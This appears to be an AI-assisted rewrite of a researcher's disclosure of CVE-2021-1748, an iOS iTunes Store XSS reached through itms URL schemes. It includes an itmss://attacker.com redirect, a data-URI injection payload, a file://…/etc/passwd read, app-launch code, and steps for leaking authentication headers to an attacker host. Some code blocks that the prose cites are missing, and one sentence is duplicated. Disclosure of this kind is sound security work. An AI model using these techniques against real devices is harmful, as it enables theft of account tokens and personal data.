Skip to content
XSS Write-up Advanced

Client-side XSS from iOS 3

A URL scheme handler in iTunes Store and StoreKitUIService allowed a crafted itms or itms-ui URL to load an attacker-supplied data URI or plain HTTP URL, bypassing the trusted domain check. An attacker could run JavaScript in the app's privileged context, read sensitive data such as Apple ID and phone number, and launch arbitrary apps.

CodeColorist Follow

Published on blog.chichou.me

Ever since Pointer Authentication Code (PAC) has been introduced, iPhone remained standing for more than two years on various pwn contests until TianfuCup 2020 (Project Zero has reported a remote zero click exploit in 2019). Ant Security and Qihoo 360 used two different bug chains respectively to successfully gained…

CodeColorist, on blog.chichou.me

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

Context

This is the first post in a series about a full-chain remote code execution against iPhone, disclosed after TianfuCup 2020. The chain starts not in MobileSafari itself but in a well-known attack surface: URL Schemes, also called Universal Links, the resource locator that lets web pages open local apps with a formatted URL. In MobileSafari some built-in Apple apps are trusted unconditionally, including App Store and iTunes, and there is no user confirmation before inter-app navigation.

The target of this first part is the iTunes Store app and, on iOS 14, the StoreKitUIService app, both of which render remote pages in a SUWebView, a subclass of the deprecated UIWebView. The bug described here is a client-side XSS introduced by iOS 3 that lets a malicious page inject JavaScript into that privileged app. The second bug in the chain, a use-after-free tracked as CVE-2021-1864, is only announced at the end and covered in later posts.

Setup

The researcher worked against iOS, with the earliest vulnerable firmware identified as Kirkwood7A341, released in 2009. The header dump shown later contains an iPhone12,3 running iPhone OS;14.2;18B92. The work involved disassembly of the iTunes Store binary to understand the URL handling methods, and the PoC is a web page loaded in MobileSafari.

No accounts, roles or special tooling beyond that are described. Part of the PoC is deliberately redacted to protect users who stay below 14.3 because of hardware limitations or by choice, so the exact URL that triggers the redirect is not published.

Finding it

The starting point is prior art. At Pwn2Own 2014, Jung Hoon Lee used itmss:// to open an arbitrary untrusted website in iTunes, leading to sandbox escape, with an additional memory corruption bug used for code execution. That was assigned CVE-2014-8840, and the primitive looked like this:

JavaScript
<script>
location = 'itmss://attacker.com';
</script>

iOS then introduced a trusted domain list for this URL scheme. Before loading the page, the app fetches a configuration from https://sandbox.itunes.apple.com/WebObjects/MZInit.woa/wa/initiateSession. The configuration is an XML serialised property list, and the hostname of the page must match one of the suffixes in the trustedDomains field:

XML
<key>trustedDomains</key>
<array>
  <string>.apple.com.edgesuite.net</string>
  <string>.asia.apple.com</string>
  <string>.corp.apple.com</string>
  <string>.euro.apple.com</string>
  <string>.itunes.apple.com</string>
  <string>.itunes.com</string>
  <string>.icloud.com</string>
</array>

If the domain matches, iTunes Store renders the page in its SUWebView over HTTPS. Man-in-the-middle hijacking of the HTML is therefore not possible, but any XSS in a trusted domain can inject JavaScript into the app.

Looking for something better than waiting for an XSS on an Apple domain, the researcher analysed the following methods and found another bypass, one introduced by iOS 3:

  • -[SUStoreController handleApplicationURL:]
  • -[NSURL storeURLType]
  • -[SUStoreController _handleAccountURL:]
  • -[SKUIURL initWithURL:]

Exploitation

Step 1: make the app ignore the hostname

Given a certain combination of parameters, an itms URL forces the app to ignore the hostname and load a secondary URL supplied in the query string instead:

The hostname still has to match the trust list, but the secondary URL can be plain http, and some domains in the list, such as support.mac.com, do not have HSTS, which makes them vulnerable to interception. The disassembly also showed that the app trusts an arbitrary data URI in addition to the allowed host names:

That is effectively a reflected XSS, because the data URI can carry arbitrary inline HTML.

Step 2: work around the appended question mark

The app always appends a question mark after the URL, trying to add an extra query string. This breaks base64 encoding, but plain text works fine. The inter-app script injection therefore looks like this:

The helper turns a string into a data:text/html URI, percent-encoding it and escaping the characters that encodeURIComponent leaves alone. The payload function is serialised into a script tag inside that data URI, and the data URI is placed in the url query parameter of the redacted itms URL. Assigning the result to location hands the whole thing to the iTunes Store app, which loads the inline HTML and runs the payload in its own context, where the iTunes namespace is available.

Step 3: understand what the injected context gives you

SUWebView is a subclass of UIWebView, so it does not have isolated renderer processes. A common misunderstanding about WebViews is that only WKWebView has JIT optimisation; in fact it is controlled by the dynamic-codesigning entitlement. iTunes Store has that entitlement to speed up JSContext execution, and that happens to create an environment where any working exploit, of any type, JIT or DOM, that works in MobileSafari also works here, without worrying about the WebContent sandbox.

System enforcement requires a process to be sandboxed in order to use mmap(MAP_JIT), so iTunes Store still has app-container after all, but it has much more access than WebContent and even third-party apps. It has been granted further entitlements for privacy-related access such as the camera and App Store credentials. This is probably the highest privilege that shellcode could get after the jsc interpreter was removed from iOS.

There is a price. In this context the exploit has only one chance to get remote code execution, or the app dies; there is no auto-recovery as with browser tabs, so reliability demands are high. The bug also redirects from MobileSafari to iTunes Store, leaving a clearly observable animation in the UI, which makes it less than ideal for real attackers.

Step 4: use the exported scripting interfaces

UIWebView uses the obsolete WebScripting API to export extra methods to JavaScript. WebScripting translates JavaScript invocations to Objective-C, converting known data types automatically. There is an iTunes namespace in the globalThis context, bound to an SUScriptInterface instance, with the following interfaces.

Fingerprinting. iTunes.systemVersion() and userAgent reveal the OS version and the SoC model, which are useful for adjusting the exploit.

Apple ID. iTunes.primaryAccount?.identifier is the Apple ID for App Store and iTunes, and primaryiCloudAccount?.identifier is the iCloud account. Beyond that, any outgoing HTTP request, whatever the domain, carries extra headers for Apple ID authentication, including two-factor authentication tokens such as X-Apple-I-MD and X-Apple-I-MD-M:

JavaScript
{
  'icloud-dsid': '***',
  'x-apple-store-front': '143465-19,29',
  'x-dsid': '***',
  'x-apple-client-versions': 'iBooks/7.2; iTunesU/3.7.4; GameCenter/??; Podcasts/3.9',
  'x-mme-client-info': '<iPhone12,3> <iPhone OS;14.2;18B92> <com.apple.AppleAccount/1.0 (com.apple.MobileStore/1)>',
  'x-apple-i-timezone': 'GMT+8',
  'x-apple-i-client-time': '2020-11-06T14:46:07Z',
  'x-apple-i-md-rinfo': '17106176',
  'x-apple-adsid': '***',
  'x-apple-connection-type': 'WiFi',
  'x-apple-partner': 'origin.0',
  'x-apple-i-locale': 'zh_CN',
  'x-apple-i-md-m': '***',
  'x-apple-i-md': '***'
}

The values marked *** are the sensitive identifiers and authentication tokens; the rest shows how much device and account context leaks with every request the injected script makes.

Disk space. iTunes.diskSpaceAvailable() reports the phone's available disk space.

Telephony. iTunes.telephony is a namespace that gives the victim's phone number, operator and provider. The researcher notes the social angle: no need to ask the number of someone who attracts you at a party, just AirDrop the bait and wait for a response.

Reading textual files within the container. SUScriptInterface has a custom AJAX implementation that does not enforce the same-origin policy. The only limit is that the hostname must match a certain trusted list, different from the earlier one. The implementation is based on NSURL and does not check the scheme, so a file URL can read a local path, with the hostname discarded:

Text
file://r.mzstatic.com/etc/passwd

The result is NSString-backed, so binary data is not supported, and the app has no direct access to the full disk because of the sandbox.

Arbitrary app enumeration and execution. iTunes.installedSoftwareApplications is an array of all installed apps, and it supports launching an app by identifier. This is how the researcher launched Calculator from the web without touching any modern memory safety mitigation:

JavaScript
const app = iTunes.softwareApplicationWithBundleID_('com.apple.calculator')
app.launchWithURL_options_suspended_('calc://1337', {}, false);
Calculator Demo
Calculator Demo From the original on blog.chichou.me

Step 5: the quieter iOS 14 variant

On iOS 14, iTunes Store is not the only vector. A StoreKitUIService app suffers the same flaw; the only difference is that the URL scheme is itms-ui rather than itms. StoreKitUIService is also responsible for delivering OTA enterprise apps, and it has almost no UI impact compared with iTunes Store. The drawback is that itms-ui is not trusted, so MobileSafari warns before opening the URL. If the payload is delivered through iMessage, AirDrop or some third-party instant messengers, that does not matter, because those scenarios do not require extra confirmation.

Root cause

The design mistake is in the URL handling of the iTunes Store app. The trust check validates the hostname of the itms URL, but a parameter combination makes the app ignore that hostname and load a secondary URL taken from the query string. Because the secondary URL is not restricted to HTTPS, plain HTTP targets without HSTS can be intercepted, and because data URIs are trusted as well, arbitrary inline HTML can be loaded directly. The app then appends a question mark to the URL, which breaks base64 but not plain text, so a data:text/html payload survives intact. The result is reflected XSS in a privileged app.

Existing defences did not stop it. The trusted domain list introduced after CVE-2014-8840 only constrains the hostname, not the secondary URL. HTTPS on the trusted domains prevents HTML hijacking in transit, but the data URI path bypasses transport entirely. The SUWebView being a UIWebView subclass means no isolated renderer process, and the dynamic-codesigning entitlement gives the app a JIT-capable environment comparable to MobileSafari's, so the XSS lands in a context with more access than WebContent and even third-party apps. The WebScripting bridge then exposes account identifiers, authentication headers, telephony data, file reads and app launching to whatever JavaScript runs there.

Impact

An attacker who gets a victim to open a malicious page in MobileSafari can inject JavaScript into iTunes Store, and on iOS 14 optionally into StoreKitUIService. From there the script can fingerprint the device, read the Apple ID and iCloud account identifiers, attach Apple ID authentication headers including 2FA tokens to outgoing requests, read available disk space, obtain the phone number, operator and provider, read textual files inside the app container, enumerate installed apps and launch them. It also provides a JIT-capable, sandboxed-but-privileged context suitable for a full exploit chain, which the later posts build on with CVE-2021-1864 to obtain memory primitives, arbitrary invocation and a PAC and APRR bypass for shellcode in the iTunes Store context.

The conditions matter. The itms route requires no user confirmation because iTunes Store is trusted, but the exploit has only one shot at code execution before the app dies, and the visible transition from MobileSafari to iTunes Store is conspicuous. The itms-ui route has almost no UI impact but shows a warning in MobileSafari, so it is only frictionless when delivered through iMessage, AirDrop or third-party messengers. File reads are limited to textual data and to the app container. The bug was assigned CVE-2021-1748.

Fix

The report does not describe the patch. The report does not describe the patch.

Variants to test

  1. Secondary URL parameters on other trusted schemes. Take any scheme that MobileSafari opens without confirmation and look for parameters that override the destination, such as a url parameter. A positive result is a page loaded from a host you control, or a data: URI rendered, while the outer URL still points at a trusted host.
  2. Scheme checks in custom AJAX bridges. Where a WebScripting-style bridge implements its own request API, try file:// URLs with a trusted hostname in the authority position, as in file://r.mzstatic.com/etc/passwd. A positive result is the contents of a local file returned to JavaScript.
  3. Header leakage on cross-origin requests. From an injected context, issue requests to a host you control and inspect the incoming headers for account identifiers and authentication tokens. A positive result is any credential-bearing header arriving at your server.
  4. App launch primitives. Enumerate the exported application objects and call the launch method with a custom URL and options. A positive result is an app opening from a web page with no memory corruption involved.
  5. Untrusted variants of the same handler. Check whether a sibling service, such as the itms-ui scheme handled by StoreKitUIService, shares the parsing code. A positive result is the same injection working through a scheme that only warns in the browser, which becomes frictionless when the link arrives through a messenger or AirDrop.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 24 min read.

What happened, in plain words

A security researcher found a way to make a web page, opened in Safari on an iPhone, run its own code inside a completely different Apple app: the iTunes Store app. That app is far more powerful than a normal web page is allowed to be. Once the researcher's code was running there, it could read the owner's Apple ID, their iCloud account name, their phone number, how much disk space was free, files stored inside the app, and the list of every app installed on the phone. It could even open the Calculator app, with no memory corruption trickery at all.

The trick relied on a feature that lets web pages open apps, called URL schemes. Apple had already tried to lock this down after an earlier attack in 2014, by only letting trusted Apple domains be loaded. The researcher found that a particular combination of parameters in the URL made the app ignore the hostname and load a second address supplied in the query string instead. That second address could be plain http, or even a data: address carrying raw HTML and JavaScript. The result was a cross-site scripting (XSS) bug inside a privileged app, tracked as CVE-2021-1748.

This is the first post in a series. The later posts build on this foothold with a separate memory corruption bug, CVE-2021-1864, to reach full remote code execution. This post only announces that second bug at the end.

Background you need first

Before the details make sense, a few ideas need to be clear.

What an app is, on a phone. On an iPhone, an app is a program with its own private storage area, its own permissions, and its own rules about what it may touch. The operating system (iOS) puts each app in a kind of fenced-off garden, called a sandbox. A sandbox is like a hotel room: you can do what you like inside it, but you cannot walk into other guests' rooms or into the manager's office.

What a URL scheme is. You know https:// from the address bar. A URL scheme is the part before the ://. Apps can register their own schemes, so that a link like itms://something opens the iTunes Store app instead of a web page. Apple calls these Universal Links in some contexts. Think of it as a doorbell: a web page can ring a specific app's doorbell, and the app answers.

What a query string is. In a URL, everything after a ? is the query string. It is a list of name=value pairs, like ?colour=red&size=large. Web servers and apps read these pairs to decide what to do. It is like the order slip attached to a package: the address on the box says where it goes, but the slip can say what is inside.

What XSS is. Cross-site scripting means getting your own JavaScript to run inside a page or app that the victim trusts. Normally a website is supposed to run only its own scripts. If an attacker can sneak a script in, that script runs with the website's privileges. Here the "website" is actually a privileged Apple app, which makes the XSS far more valuable than usual.

What a data URI is. A data: URI is a way of putting the content of a file directly into the address itself, instead of pointing at a server. data:text/plain,hello is a tiny text file whose content is the word hello. data:text/html,<b>hi</b> is a tiny web page. No network request is needed; the content travels inside the link.

What HSTS is. HTTP Strict Transport Security is a rule a website can publish saying "always talk to me over HTTPS, never plain HTTP". If a site does not publish it, an attacker who can sit on the network path (for example on public Wi-Fi) can intercept and alter plain HTTP traffic. That is called a man-in-the-middle attack.

What a property list is. Apple uses a file format called a property list (plist) to store structured settings. It can be written as XML, which is just text with tags. It is like a form with labelled fields.

What entitlements are. On iOS, an entitlement is a special permission granted to an app by Apple's signing system, beyond what ordinary apps get. Think of it as a keycard that opens doors most guests cannot open.

What JIT means. Just-in-time compilation is a technique where the program turns code into machine instructions while it is running, to go faster. On iOS this is tightly controlled, because generating and running new machine code is exactly what an attacker wants to do. The permission that allows it is called dynamic-codesigning.

What a WebView is. A WebView is a mini browser embedded inside an app, so the app can show web content without leaving. UIWebView is an old Apple WebView; WKWebView is the newer one. The difference matters a lot here, as you will see.

What Objective-C method names like -[SUStoreController handleApplicationURL:] mean. Apple's code is written in Objective-C. The notation -[ClassName methodName:] means "an instance method called methodName: on the class ClassName". The colon means the method takes an argument. Reading these names is like reading the table of contents of the app's behaviour.

The starting point: an earlier attack

The researcher did not start from nothing. At the Pwn2Own 2014 contest, another researcher, Jung Hoon Lee, used the itmss:// scheme to make iTunes open an arbitrary untrusted website. That led to a sandbox escape, and an additional memory corruption bug was needed to turn it into code execution. It was assigned CVE-2014-8840. The primitive looked like this:

JavaScript
<script>
location = 'itmss://attacker.com';
</script>

Line by line:

  1. <script> opens a JavaScript block inside an HTML page.
  2. location = 'itmss://attacker.com'; tells the browser to navigate to that address. Because itmss is a scheme owned by the iTunes Store app, the browser hands the request to that app instead of loading a web page.
  3. </script> closes the block.

So a single line of JavaScript in a web page was enough to make the iTunes Store app load a page from a domain the attacker controlled. That is the door the researcher wanted to reopen, in a new way.

Apple's first defence: a trusted domain list

After that 2014 bug, Apple added a check. Before loading a page from an itms URL, the app fetches a configuration from a fixed Apple address, https://sandbox.itunes.apple.com/WebObjects/MZInit.woa/wa/initiateSession. That configuration is an XML property list, and the hostname of the page must match one of the suffixes listed in the trustedDomains field:

XML
<key>trustedDomains</key>
<array>
  <string>.apple.com.edgesuite.net</string>
  <string>.asia.apple.com</string>
  <string>.corp.apple.com</string>
  <string>.euro.apple.com</string>
  <string>.itunes.apple.com</string>
  <string>.itunes.com</string>
  <string>.icloud.com</string>
</array>

Line by line:

  1. <key>trustedDomains</key> names the setting: a list of trusted domains.
  2. <array> starts a list.
  3. Each <string>...</string> is one allowed domain suffix. The leading dot means "this domain and any subdomain of it". So .itunes.com allows itunes.com and store.itunes.com, but not evil-itunes.com.
  4. </array> closes the list.

If the hostname matches, iTunes Store renders the page in its SUWebView, which is a subclass of the old UIWebView, over HTTPS. Because it is HTTPS, an attacker on the network cannot swap the HTML for their own. But if any page on one of those trusted domains had its own XSS bug, an attacker could use that to inject JavaScript into the app. The researcher did not want to wait for such a bug on an Apple domain, so he went looking for something better.

Finding the bypass

The researcher disassembled the iTunes Store app, meaning he took the compiled program and turned it back into readable instructions, to see how it handled URLs. He examined these methods:

  • -[SUStoreController handleApplicationURL:]
  • -[NSURL storeURLType]
  • -[SUStoreController _handleAccountURL:]
  • -[SKUIURL initWithURL:]

Each name tells you something. handleApplicationURL: suggests the app receives a URL and decides what to do with it. storeURLType suggests the app classifies the URL into a type. _handleAccountURL: suggests a special path for account-related URLs. initWithURL: is a constructor, the code that builds an object from a URL. Reading these, he found another bypass, one that had been present since iOS 3.

Part of the proof of concept is deliberately redacted, to protect users who stay below iOS 14.3 because of hardware limitations or by choice. So the exact URL that triggers the redirect is not published.

Step 1: make the app ignore the hostname

Given a certain combination of parameters, an itms URL forces the app to ignore the hostname and load a secondary URL supplied in the query string instead:

Line by line:

  1. itms:// is the scheme that opens the iTunes Store app.
  2. <redacted> stands for the part of the URL the researcher chose not to publish. It is the hostname portion, which still has to match the trust list.
  3. &url= is a query string parameter named url. Its value is the secondary address the app will actually load.
  4. http://www.apple.com is that secondary address, here a plain HTTP URL.

The hostname still has to match the trust list, so the outer URL still looks legitimate. But the secondary URL can be plain http, and some domains in the list, such as support.mac.com, do not have HSTS. That means an attacker on the network could intercept the plain HTTP request and substitute their own content. The disassembly also showed that the app trusts an arbitrary data URI in addition to the allowed host names:

Line by line:

  1. Same outer itms:// scheme and redacted hostname.
  2. &url= again supplies the secondary address.
  3. data:text/plain,hello is a data URI whose content is the word hello. No server is involved at all.

That is effectively a reflected XSS, because the data URI can carry arbitrary inline HTML. Reflected means the malicious content is echoed back into the page from the request itself, rather than being stored on a server. Here the "echo" is the app loading whatever the data URI contains.

Step 2: work around the appended question mark

The app always appends a question mark after the URL, trying to add an extra query string. This breaks base64 encoding, but plain text works fine. Base64 is a way of packing arbitrary bytes into letters and digits; it uses characters like + and = that clash with the extra ? the app adds. Plain text has no such problem. The inter-app script injection therefore looks like this:

Line by line:

  1. String.prototype.toDataURI = function() { adds a new helper method to every string in JavaScript. String.prototype is the shared blueprint for all text values, so adding a method there means any string can call it.
  2. return 'data:text/html;,' + encodeURIComponent(this).replace(/[!'()*]/g, escape); builds the data URI. 'data:text/html;,' is the prefix that says "this is an HTML document". encodeURIComponent(this) turns the string into a form safe to put in a URL, replacing spaces and special characters with percent codes. this refers to the string the method was called on. .replace(/[!'()*]/g, escape) then escapes the few characters that encodeURIComponent leaves alone but that could break the URL, namely !, ', (, ), and *. The g flag means "replace every occurrence".
  3. } closes the helper.
  4. function payload() { defines the function that will run inside the iTunes Store app.
  5. iTunes.alert('gotcha'); // do ya thing calls the iTunes object, which is only available inside that app, and shows an alert. The comment is the researcher's note that this is where the real work would go.
  6. } closes the payload.
  7. const data = `<script type="application/javascript">(${payload})()<\/script>`.toDataURI() builds a small HTML document containing a script tag. The ${payload} inserts the source code of the payload function as text. The () after it calls the function immediately. The \/ inside </script> is an escaped slash, written that way so the surrounding JavaScript does not think the script tag has ended. .toDataURI() then wraps the whole thing as a data URI.
  8. const url = new URL('itms://<redacted>'); creates a URL object for the outer itms address, with the hostname redacted.
  9. // part of the PoC is redacted to prevent abuse is a comment noting that some detail is withheld.
  10. url.searchParams.set('url', data); sets the url query parameter to the data URI. searchParams is the part of a URL object that manages the query string.
  11. location = url navigates the browser to that URL, which hands the whole thing to the iTunes Store app.

The app then loads the inline HTML and runs the payload in its own context, where the iTunes namespace is available. The earliest firmware that has the vulnerable code is Kirkwood7A341, released back in 2009, which is why the bug is described as introduced by iOS 3.

Step 3: understand what the injected context gives you

SUWebView is a subclass of UIWebView, so it does not have isolated renderer processes. Modern browsers and modern WebViews run each page in a separate process, so a bug in the page cannot easily reach the rest of the app. UIWebView does not do that. The page and the app share the same process, which means a script running in the page can reach the app's own objects.

A common misunderstanding about WebViews is that only WKWebView has JIT optimisation. In fact it is controlled by the dynamic-codesigning entitlement. iTunes Store has that entitlement to speed up JSContext execution, and that happens to create an environment where any working exploit, of any type, JIT or DOM, that works in MobileSafari also works here, without worrying about the WebContent sandbox. In other words, the app is a much more capable host for an exploit than a normal web page would be.

System enforcement requires a process to be sandboxed in order to use mmap(MAP_JIT). mmap is the system call that asks the operating system for memory, and MAP_JIT is a flag saying "this memory will hold machine code I generate at runtime". iOS only allows that flag for processes that are already sandboxed. So iTunes Store still has app-container after all, but it has much more access than WebContent and even third-party apps. It has been granted further entitlements for privacy-related access such as the camera and App Store credentials. This is probably the highest privilege that shellcode could get after the jsc interpreter was removed from iOS. Shellcode is raw machine code an attacker wants to run; jsc is Apple's JavaScript engine, which used to be a convenient target and is no longer present.

There is a price. In this context the exploit has only one chance to get remote code execution, or the app dies; there is no auto-recovery as with browser tabs, so reliability demands are high. If your exploit crashes, the app closes and you have to start over. The bug also redirects from MobileSafari to iTunes Store, leaving a clearly observable animation in the UI, which makes it less than ideal for real attackers. A victim would see the screen switch from Safari to the iTunes Store app.

Step 4: use the exported scripting interfaces

UIWebView uses the obsolete WebScripting API to export extra methods to JavaScript. An API is a defined set of functions one program offers to another; think of it as a menu of things you are allowed to ask for. WebScripting translates JavaScript invocations to Objective-C, converting known data types automatically. So when the injected script calls something like iTunes.systemVersion(), the bridge turns that into an Objective-C method call inside the app.

There is an iTunes namespace in the globalThis context, bound to an SUScriptInterface instance. globalThis is the top-level object in JavaScript, the place where global names live. A namespace is just a named container for related functions. SUScriptInterface is the app's class that implements all these exported methods. The interfaces are as follows.

Fingerprinting. iTunes.systemVersion() and userAgent reveal the OS version and the SoC model, which are useful for adjusting the exploit. Fingerprinting means learning facts about the victim's device so you can tailor what you do next. The SoC is the system-on-chip, the main processor of the phone.

Apple ID. iTunes.primaryAccount?.identifier is the Apple ID for App Store and iTunes, and primaryiCloudAccount?.identifier is the iCloud account. The ?. is optional chaining: if primaryAccount is missing, the expression returns undefined instead of throwing an error. Beyond that, any outgoing HTTP request, whatever the domain, carries extra headers for Apple ID authentication, including two-factor authentication tokens such as X-Apple-I-MD and X-Apple-I-MD-M. A header is a labelled line sent alongside a web request, like the metadata on an envelope. A token is a short secret string that proves who you are, so you do not have to send your password every time. Two-factor authentication means proving identity with two things, usually a password plus a code from another device. Here is the header dump:

JavaScript
{
  'icloud-dsid': '***',
  'x-apple-store-front': '143465-19,29',
  'x-dsid': '***',
  'x-apple-client-versions': 'iBooks/7.2; iTunesU/3.7.4; GameCenter/??; Podcasts/3.9',
  'x-mme-client-info': '<iPhone12,3> <iPhone OS;14.2;18B92> <com.apple.AppleAccount/1.0 (com.apple.MobileStore/1)>',
  'x-apple-i-timezone': 'GMT+8',
  'x-apple-i-client-time': '2020-11-06T14:46:07Z',
  'x-apple-i-md-rinfo': '17106176',
  'x-apple-adsid': '***',
  'x-apple-connection-type': 'WiFi',
  'x-apple-partner': 'origin.0',
  'x-apple-i-locale': 'zh_CN',
  'x-apple-i-md-m': '***',
  'x-apple-i-md': '***'
}

Line by line:

  1. { and } wrap an object, which is JavaScript's way of grouping named values.
  2. 'icloud-dsid': '***' is the iCloud directory services identifier, redacted.
  3. 'x-apple-store-front': '143465-19,29' identifies which regional store the account belongs to.
  4. 'x-dsid': '***' is the iTunes store identifier, redacted.
  5. 'x-apple-client-versions': 'iBooks/7.2; iTunesU/3.7.4; GameCenter/??; Podcasts/3.9' lists the versions of related Apple apps installed.
  6. 'x-mme-client-info': '<iPhone12,3> <iPhone OS;14.2;18B92> <com.apple.AppleAccount/1.0 (com.apple.MobileStore/1)>' reveals the device model, the OS version, and the client software. iPhone12,3 is the internal model identifier, and 14.2;18B92 is the OS version and build.
  7. 'x-apple-i-timezone': 'GMT+8' is the device's time zone.
  8. 'x-apple-i-client-time': '2020-11-06T14:46:07Z' is the device's clock at the time of the request.
  9. 'x-apple-i-md-rinfo': '17106176' is a value related to the two-factor authentication machinery.
  10. 'x-apple-adsid': '***' is the advertising identifier, redacted.
  11. 'x-apple-connection-type': 'WiFi' says the phone was on Wi-Fi.
  12. 'x-apple-partner': 'origin.0' identifies the partner or origin of the request.
  13. 'x-apple-i-locale': 'zh_CN' is the device locale, here Chinese (China).
  14. 'x-apple-i-md-m': '***' and 'x-apple-i-md': '***' are the two-factor authentication tokens, redacted.

The values marked *** are the sensitive identifiers and authentication tokens; the rest shows how much device and account context leaks with every request the injected script makes. If the script sends a request to a server the attacker controls, all of this arrives with it.

Disk space. iTunes.diskSpaceAvailable() reports the phone's available disk space.

Telephony. iTunes.telephony is a namespace that gives the victim's phone number, operator and provider. The researcher notes the social angle: no need to ask the number of someone who attracts you at a party, just AirDrop the bait and wait for a response. AirDrop is Apple's short-range file sharing between nearby devices.

Reading textual files within the container. SUScriptInterface has a custom AJAX implementation that does not enforce the same-origin policy. AJAX is the technique a web page uses to fetch data from a server without reloading. The same-origin policy is the browser rule that a page from one site cannot read data from another site; it is the main wall that keeps web pages apart. This custom implementation does not have that wall. The only limit is that the hostname must match a certain trusted list, different from the earlier one. The implementation is based on NSURL and does not check the scheme, so a file URL can read a local path, with the hostname discarded:

Text
file://r.mzstatic.com/etc/passwd

Line by line:

  1. file:// is the scheme for reading local files, not network resources.
  2. r.mzstatic.com is a hostname that appears in the trusted list, so the check passes.
  3. /etc/passwd is the local path the script wants to read. On a normal Unix system this file lists user accounts; here it is just an example of a readable path.

Because the code does not check the scheme, the hostname is effectively ignored and the local path is read. The result is NSString-backed, so binary data is not supported, and the app has no direct access to the full disk because of the sandbox. NSString is Apple's text string type, so only text files can be returned.

Arbitrary app enumeration and execution. iTunes.installedSoftwareApplications is an array of all installed apps, and it supports launching an app by identifier. An array is an ordered list. An identifier is the unique internal name of an app, like com.apple.calculator. This is how the researcher launched Calculator from the web without touching any modern memory safety mitigation:

JavaScript
const app = iTunes.softwareApplicationWithBundleID_('com.apple.calculator')
app.launchWithURL_options_suspended_('calc://1337', {}, false);

Line by line:

  1. const app = iTunes.softwareApplicationWithBundleID_('com.apple.calculator') asks the iTunes object for the app whose bundle identifier is com.apple.calculator, and stores the result in app. The trailing underscore in the method name is how the WebScripting bridge represents a colon in the Objective-C method name.
  2. app.launchWithURL_options_suspended_('calc://1337', {}, false); launches that app. The first argument is a URL to pass to it, calc://1337. The second is an options object, here empty. The third is a boolean, here false.
Calculator Demo
Calculator Demo From the original on blog.chichou.me

Step 5: the quieter iOS 14 variant

On iOS 14, iTunes Store is not the only vector. A StoreKitUIService app suffers the same flaw; the only difference is that the URL scheme is itms-ui rather than itms. StoreKitUIService is also responsible for delivering OTA enterprise apps, meaning apps installed over the air by a company rather than through the App Store. It has almost no UI impact compared with iTunes Store, so the victim sees much less. The drawback is that itms-ui is not trusted, so MobileSafari warns before opening the URL. If the payload is delivered through iMessage, AirDrop or some third-party instant messengers, that does not matter, because those scenarios do not require extra confirmation.

Root cause

The design mistake is in the URL handling of the iTunes Store app. The trust check validates the hostname of the itms URL, but a parameter combination makes the app ignore that hostname and load a secondary URL taken from the query string. Because the secondary URL is not restricted to HTTPS, plain HTTP targets without HSTS can be intercepted, and because data URIs are trusted as well, arbitrary inline HTML can be loaded directly. The app then appends a question mark to the URL, which breaks base64 but not plain text, so a data:text/html payload survives intact. The result is reflected XSS in a privileged app.

Existing defences did not stop it. The trusted domain list introduced after CVE-2014-8840 only constrains the hostname, not the secondary URL. HTTPS on the trusted domains prevents HTML hijacking in transit, but the data URI path bypasses transport entirely. The SUWebView being a UIWebView subclass means no isolated renderer process, and the dynamic-codesigning entitlement gives the app a JIT-capable environment comparable to MobileSafari's, so the XSS lands in a context with more access than WebContent and even third-party apps. The WebScripting bridge then exposes account identifiers, authentication headers, telephony data, file reads and app launching to whatever JavaScript runs there.

Impact

An attacker who gets a victim to open a malicious page in MobileSafari can inject JavaScript into iTunes Store, and on iOS 14 optionally into StoreKitUIService. From there the script can fingerprint the device, read the Apple ID and iCloud account identifiers, attach Apple ID authentication headers including 2FA tokens to outgoing requests, read available disk space, obtain the phone number, operator and provider, read textual files inside the app container, enumerate installed apps and launch them. It also provides a JIT-capable, sandboxed-but-privileged context suitable for a full exploit chain, which the later posts build on with CVE-2021-1864 to obtain memory primitives, arbitrary invocation and a PAC and APRR bypass for shellcode in the iTunes Store context. PAC is Pointer Authentication Code, a hardware feature that signs pointers so they cannot be tampered with; APRR is Apple's permission register mechanism controlling memory access. Both are modern mitigations the later posts have to defeat.

The conditions matter. The itms route requires no user confirmation because iTunes Store is trusted, but the exploit has only one shot at code execution before the app dies, and the visible transition from MobileSafari to iTunes Store is conspicuous. The itms-ui route has almost no UI impact but shows a warning in MobileSafari, so it is only frictionless when delivered through iMessage, AirDrop or third-party messengers. File reads are limited to textual data and to the app container. The bug was assigned CVE-2021-1748.

Fix

The report does not describe the patch. The report does not describe the patch.

Variants to test

  1. Secondary URL parameters on other trusted schemes. Take any scheme that MobileSafari opens without confirmation and look for parameters that override the destination, such as a url parameter. A positive result is a page loaded from a host you control, or a data: URI rendered, while the outer URL still points at a trusted host.
  2. Scheme checks in custom AJAX bridges. Where a WebScripting-style bridge implements its own request API, try file:// URLs with a trusted hostname in the authority position, as in file://r.mzstatic.com/etc/passwd. A positive result is the contents of a local file returned to JavaScript.
  3. Header leakage on cross-origin requests. From an injected context, issue requests to a host you control and inspect the incoming headers for account identifiers and authentication tokens. A positive result is any credential-bearing header arriving at your server.
  4. App launch primitives. Enumerate the exported application objects and call the launch method with a custom URL and options. A positive result is an app opening from a web page with no memory corruption involved.
  5. Untrusted variants of the same handler. Check whether a sibling service, such as the itms-ui scheme handled by StoreKitUIService, shares the parsing code. A positive result is the same injection working through a scheme that only warns in the browser, which becomes frictionless when the link arrives through a messenger or AirDrop.

Glossary

  • API: a defined set of functions one program offers to another, like a menu of allowed requests.
  • AJAX: a technique for fetching data from a server without reloading the page.
  • APRR: Apple's permission register mechanism that controls memory access on the device.
  • Apple ID: the account used for App Store, iTunes and iCloud services.
  • Base64: an encoding that packs arbitrary bytes into letters and digits, using characters that can clash with URL syntax.
  • Bundle identifier: the unique internal name of an app, such as com.apple.calculator.
  • CVE: a public identifier for a known security vulnerability.
  • Data URI: a URL that carries the content of a file inside the address itself, such as data:text/html,....
  • Disassembly: turning a compiled program back into readable instructions to understand what it does.
  • DOM: the in-memory tree a browser builds from an HTML page; DOM-based exploits abuse how scripts manipulate it.
  • dynamic-codesigning: an iOS entitlement that allows a process to generate and run machine code at runtime.
  • Entitlement: a special permission granted to an app by Apple's signing system, beyond what ordinary apps get.
  • Fingerprinting: learning facts about a victim's device, such as model and OS version, to tailor an attack.
